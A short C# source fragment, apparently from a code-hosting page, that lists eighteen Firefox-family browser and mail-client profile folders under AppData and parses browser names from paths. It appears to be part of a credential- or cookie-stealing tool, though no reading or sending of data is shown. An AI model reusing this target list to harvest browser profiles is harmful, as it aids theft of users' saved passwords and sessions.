public static string[] Gecko = new string[18]
|
||||
{
|
||||
appdata + "\\Mozilla\\Firefox\\Profiles",
|
||||
appdata + "\\Waterfox\\Profiles",
|
||||
appdata + "\\K-Meleon\\Profiles",
|
||||
appdata + "\\Thunderbird\\Profiles",
|
||||
appdata + "\\Comodo\\IceDragon\\Profiles",
|
||||
appdata + "\\8pecxstudios\\Cyberfox\\Profiles",
|
||||
appdata + "\\NETGATE Technologies\\BlackHaw\\Profiles",
|
||||
appdata + "\\Moonchild Productions\\Pale Moon\\Profiles",
|
||||
appdata + "\\Ghostery Browser\\Profiles",
|
||||
appdata + "\\Undetectable\\Profiles",
|
||||
appdata + "\\Sielo\\profiles",
|
||||
appdata + "\\Waterfox\\Profiles",
|
||||
appdata + "\\conkeror.mozdev.org\\conkeror\\Profiles",
|
||||
appdata + "\\Netscape\\Navigator\\Profiles",
|
||||
appdata + "\\Mozilla\\SeaMonkey\\Profiles",
|
||||
appdata + "\\FlashPeak\\SlimBrowser\\Profiles",
|
||||
appdata + "\\Avant Profiles",
|
||||
appdata + "\\Flock\\Profiles"
|
||||
};
|
||||
|
||||
public static string GetBrowserName(string path)
|
||||
{
|
||||
string[] array = path.Split(Path.DirectorySeparatorChar);
|
||||
if (path.Contains("Opera"))
|
||||
{
|
||||
return array[6].Replace(" Stable", "");
|
||||
}
|
||||
return array[5];
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user